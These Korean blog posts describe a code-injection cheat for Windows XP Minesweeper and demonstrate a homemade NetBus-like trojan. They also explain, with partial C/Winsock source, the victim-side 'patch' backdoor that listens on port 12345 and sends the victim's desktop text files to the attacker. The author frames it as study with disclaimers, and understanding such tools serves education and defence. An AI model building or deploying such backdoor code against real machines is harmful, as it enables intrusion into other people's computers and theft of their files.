안녕하십니까. 오랜만에 포스팅을 하게 되는군요.

이번에 포스팅할 것은 제가 만든 지뢰찾기 핵의 알고리즘입니다. 해당하는 지뢰찾기는 윈도우 xp버전의 지뢰찾기이며 알고리즘은 다음과 같습니다.

1. 먼저 지뢰찾기의 프로세스의 PID를 가져와 그 PID에 해당하는 프로세스를 연다

2. 열려진 프로세스에 가상의 메모리를 할당한다.

3. 할당된 메모리에 쉘코드 혹은 특정 함수의 코드를 삽입한다.

4. 코드가 적힌 메모리를 스레드로 만든 후 그 스레드를 실행시킨다.

5. 가상 메모리의 할당을 해제하고 프로세스를 닫는다.

여기까지가 지뢰찾기 핵의 알고리즘입니다. 이 때 할당된 메모리에 삽입할 코드 내용에 따라 어떠한 기능을 할지 정해지며 이러한 기법을 코드 인젝션 기법이라고 합니다.

그리고 제가 구현한 기능은 아래와 같습니다.

1. 숨겨진 지뢰를 보여주는 기능

2. 시간을 멈추는 기능

3. 시간을 초기화 시키는 기능

4. 지뢰를 밟아도 죽지 않도록 하는 기능

5. 바로 승리하는 기능

6. 바로 패배하는 기능

다음 포스팅에선 쓰인 함수들을 한 번 살펴보겠습니다. 참고로 이번 프로그램은 리소스가 없습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 넷버스를 한 번 동작시켜보겠습니다.

공격자의 넷버스 프로그램입니다. 외양은 오리지널 넷버스랑 흡사합니다.

주소를 입력하고 Connect버튼을 누르면 연결을 시도합니다.

감염자로부터 연결이 실패했으면 위와 같이 나타납니다.

이번에는 patch를 실행해봅시다.

코드의 listen함수를 호출하고 나면 위와 같이 보안 경고 창이 뜹니다. listen함수에 의해 12345 포트가 열려버렸으므로 이 포트에 대한 통신을 허용할 것인가 아닌가를 정할 수 있습니다. 

지금은 localhost로 통신을 시도하는 것이므로 딱히 액세스를 허용하지 않아도 문제가 없지만 다른 호스트와 통신을 할 경우 감염자의 PC에서 액세스를 허용시키지 않는다면 기능이 정상적으로 작동하지 않을 수 있습니다.

TCPView프로그램으로 살펴보면 patch프로그램에서 소켓이 12345포트로 데이터를 받을 준비가 되어있다고 뜹니다. State를 보면 LISTENING라고 되어 있는것이 보이시지요?

이번에는 공격자에서 연결을 시도해보겠습니다. patch가 동작되어 있는 상태에서 localhost로 통신을 시도하면 연결이 되었다는 문구와 함께 감염자의 PC에 명령을 내릴 수 있는 버튼들이 활성화됩니다.

TCPview를 살펴보면 소켓이 하나 더 생성된 것을 볼 수 있으며 그 소켓은 localhost와 통신을 하는 것을 볼 수 있습니다. localhost의 55477포트에서 데이터를 전송하면 자신의 12345포트에서 데이터를 받는 것이지요. 반대로 자신의 12345포트에서 데이터를 전송하면 localhost는 55477포트로 데이터를 받습니다.

이번에는 한 번 파일을 찾아보겠습니다. 파일찾기 버튼을 누르면 우리가 리소스에서 만든 대화상자가 호출됩니다. 여기서 텍스트파일 버튼을 누르면 시간이 조금 지난 후 파일을 다 찾았다는 메세지박스가 나타납니다.

생성된 파일을 한 번 열어봅시다.

감염자의 바탕화면에 있는 txt파일을 모두 찾는 것을 볼 수 있습니다.

이번에는 찾은 파일 경로를 이용하여 복사를 시켜보겠습니다. 파일 복사 버튼을 눌러 대화상자를 호출한 후 복사할 파일 경로를 적고 확인 버튼을 누르면 시간이 조금 지난 후 복사된 파일이 넷버스 복사물이란 폴더 안에 생성됩니다. 

넷버스 복사물 폴더를 살펴보시면 경로명과 일치하는 파일이 복사된 것을 확인할 수 있습니다.

그리고 앞에서 말씀드렸다시피 감염자의 IP가 사설IP면 공격자와 감염자가 같은 네트워크 상에 있지 않는 한 위의 프로그램으론 통신이 불가능합니다.

추가로 TCPview 프로그램 대신 cmd의 netstat -a명령어를 이용하여 통신 상태를 확인할 수 있습니다.

위의 사진은 포트가 열린 상태입니다.

위의 사진은 연결이 된 상태입니다. patch프로그램을 재시작했기 때문에 포트번호는 앞에 나온 TCPview와 다를 수 있습니다.

그리고 마지막으로 다시 한번 강조하지만 절대 악용하지 마시길 바랍니다.

이상으로 포스팅을 마치겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 쓰이는 패치의 코드를 한 번 살펴보겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

  #include "resource.h"

  #pragma comment(lib, "Ws2_32.lib")

  #define WM_SOCKET WM_USER+1

  typedef struct SR_Str

 {

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];


  }SR_String;

이 부분은 공격자(넷버스)의 코드랑 동일하므로 생략하겠습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

윈도우 프로시저함수를 선언합니다.

- int _strcmp(char *str1);

  void txtfileSend(void);

  void txtfileCopy(void);

앞서 설명한 함수들을 선언합니다.

- SOCKET G_Socket,G_AcceptS;

클라이언트(공격자) 코드하고는 다르게 소켓 변수를 2개 선언합니다. 이유는 서버측(피해자)에서는 연결 요청을 받는 소켓과 연결을 할 소켓, 이렇게 2개의 소켓이 필요하기 때문입니다.

- SR_String G_String;

앞에서 정의한 구조체 변수를 선언합니다.

- int G_txtfileSend_i = 0;

  TCHAR G_PATH[500] = L"";

파일들의 경로를 찾을 때 그 경로를 저장할 TCHR형 전역변수와 파일 경로의 개수를 저장할 int형 전역변수를 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저 함수를 살펴봅시다.

- WSADATA socketdata = {0};

  struct sockaddr_in socketaddr = {0};

소켓통신에 필요한 변수들을 선언합니다. 이 부분은 넷버스랑 동일하니 설명은 생략하겠습니다.

- u_long Mode = 0;

ioctlsocket함수를 사용하기 위해 선언한 변수입니다.

- int soketsize,Recvstr;

accept함수 사용을 위한 soketsize변수와 recv함수로 받은 데이터 크기를 저장할 변수 Recvstr를 선언합니다.

- TCHAR user[256] = L"";

  DWORD usersize;

GetUserName함수를 사용하기 위해 선언한 변수입니다..

- switch (message)

case WM_CREATE:

WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출하여 현재 감염자의 사용자 계정 명을 구해서 user에 저장시킵니다.

- wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

사용자 명을 이용하여 G_PATH변수에 바탕화면의 경로를 집어넣습니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

  G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

winsock DLL을 초기화시키고 소켓을 생성합니다.

- socketaddr.sin_family = AF_INET;

  socketaddr.sin_addr.S_un.S_addr = htons(INADDR_ANY);

  socketaddr.sin_port = htons(12345);

socketaddr구조체의 각 멤버에 값을 넣습니다. 다만 이 소켓은 요청을 하는 소켓이 아닌 요청을 받는 소켓이기 때문에 S_addr멤버의 값에 htons(INADDR_ANY)값을 넣어줍니다. INADDR_ANY는 자기 자신의 ip주소를 자동으로 찾아주는 매크로 상수를 의미합니다.

추가로 INADDR_ANY 상수를 멤버값에 집어넣은 뒤 bind함수를 사용하면 각각 다른 ip에서 전송한 데이터를 이 소켓에서 받을 수가 있습니다.

- bind(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

bind함수를 사용하여 G_Socket을 바인딩합니다. 즉 socketaddr구조체의 멤버변수 값을 이용하여 소켓에 주소와 포트번호를 등록한다는 것이지요. 공격자의 소켓하고는 다르게 이 프로그램은 요청을 받는 소켓을 만들어야 하기 때문에 bind함수를 써서 등록시키는 것입니다. 인자는 공격자(넷버스) 코드에 쓰인 Connect함수와 동일합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_ACCEPT);

WM_SOCKET메세지를 받아 FD_ACCEPT이벤트를 처리할 수 있도록 하기 위해WSAAsyncSelect함수를 호출합니다.

- listen(G_Socket,SOMAXCONN);

listen함수를 호출합니다. 이 함수를 자세히 살펴봅시다.

이 함수는 해당 소켓의 상태를 수신 상태로 만들어주는 역할을 합니다. 첫 번째 인자는 해당 소켓이며 두번 째 인자는 대기 큐의 크기값입니다.

대기큐라는 것은 여러 소켓으로부터 연결요청이 들어왔을 경우 순서대로 처리가 될대까지 서버가 만들어 놓은 대기실에서 대기를 하게 되는데 이 때 이 대기실을 대기 큐라고 합니다. 그리고 그 대기큐는 크기를 설정할 수 있는데 이 때 인자로 SOMAXCONN값을 받으면 대기큐는 지정할 수 있는 최대 크기로 만들어집니다.

아무튼 이 함수가 성공적으로 호출이 되면 해당 소켓은 듣기 상태인 LISTEN상태가 되어집니다.

- accept(G_Socket,NULL,NULL);

듣기 상태가 된 소켓을 인자로 받아 요청을 받는 함수인 accept함수를 호출합니다.앞에 호출한 WSAAsyncSelect함수에 의해 비블로킹 방식으로 지정된 소켓으로 accept함수를 호출하였으므로 나중에 연결요청을 받으면 WM_SOCKET메세지의FD_ACCEPT이벤트에서 처리를 하게 됩니다.

한가지 특이한 점이 있다면 첫번째 소켓을 제외한 나머지 인자값들은 NULL로 주었다는 점입니다. 왜냐하면 이 부분의 accept함수에서는 실제로 연결할 목적이 아닌 요청만을 받아들기 위해 사용하였기 때문에 따로 인자값을 주지 않았습니다. 그리고 나중에 실제로 요청이 들어왔을 경우 FD_ACCEPT이벤트에서 다시 accept함수를 호출하여 실제로 요청된 소켓과 연결합니다.

- case WM_SOCKET:

switch(WSAGETSELECTEVENT(lParam))

WM_SOCKET메세지를 받았을 때 이벤트에 따라 처리를 다르게 합니다.

- case FD_ACCEPT:

앞의 accept함수에 의해 요청을 받게 된 경우 아래의 코드를 수행합니다.

- soketsize = sizeof(socketaddr);

socketaddr구조체의 크기를 soketsize에 저장시킵니다.

- G_AcceptS = accept((SOCKET)wParam,(struct sockaddr *)&socketaddr,&soketsize);

요청이 들어온 소켓(wParam)과의 연결을 위해 다시 accept함수를 호출합니다. 인자는 소켓구조체의 포인터와 소켓구조체 크기의 포인터입니다.

함수가 성공적으로 호출되면 연결된 소켓은 G_AcceptS 소켓이 됩니다. 즉 앞의 G_Socket은 요청을 받기 위한 1차 소켓(LISTEN)이며 G_AcceptS 소켓은 실제로 연결된 소켓을 의미합니다. 그러므로 공격자와 서로 통신을 할 경우 G_AcceptS 소켓을 이용합니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

연결이 된 G_AcceptS소켓이 FD_READ와 FD_CLOSE 이벤트를 받을 수 있도록 설정합니다.

- case FD_READ:

WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,0);

ioctlsocket(G_AcceptS,FIONBIO,&Mode);

memset(&G_String,0,sizeof(G_String));

Recvstr = recv(G_AcceptS,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

if(Recvstr < 0)

break;

클라이언트(공격자)로부터 데이터를 받았을 경우 위와 같이 코드를 수행합니다. 원리는 넷버스에서 설명한 것과 동일합니다.

- switch(_strcmp(G_String.str))

요청한 내용에 따라 처리를 다르게 해줍니다.

- case 0:

str멤버 변수의 값이 filefind - txt 일 경우 아래의 코드를 수행합니다.

- txtfileSend();

  strcpy(G_String.str,"filefind - txt");

  send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

txtfileSend함수를 호출하여 텍스트 파일들의 경로를 찾아 G_String의 멤버 변수에 저장시키고 str멤버변수에 filefind - txt값을 넣어 클라이언트(공격자)로 데이터를 전송합니다.

- GetUserName(user,&usersize);

  wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

  G_txtfileSend_i = 0;

전송이 완료되면 G_PATH와 G_txtfileSend_i를 초기값으로 되돌립니다.

- case 1:

str멤버 변수의 값이 Capture 일 경우의 처리부문인데 아직 구현하진 않았습니다.

- case 2:

txtfileCopy();

str멤버 변수의 값이 filecopy - txt인 경우 txtfileCopy함수를 호출합니다.

- case 3:

str멤버 변수의 값이 filecopy - mallocComplete인 경우의 처리 부문인데 아직 구현하진 않았습니다.

- case 999:

그 외의 값이라면 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

하나의 메세지처리가 끝나면 다시 G_AcceptS를 비블로킹으로 전환시킵니다.

이상으로 patch 코드 포스팅을 마치겠습니다.

다음 포스팅에선 만든 넷버스와 patch프로그램을 한 번 사용해보겠습니다.

Posted by englishmath


티스토리 툴바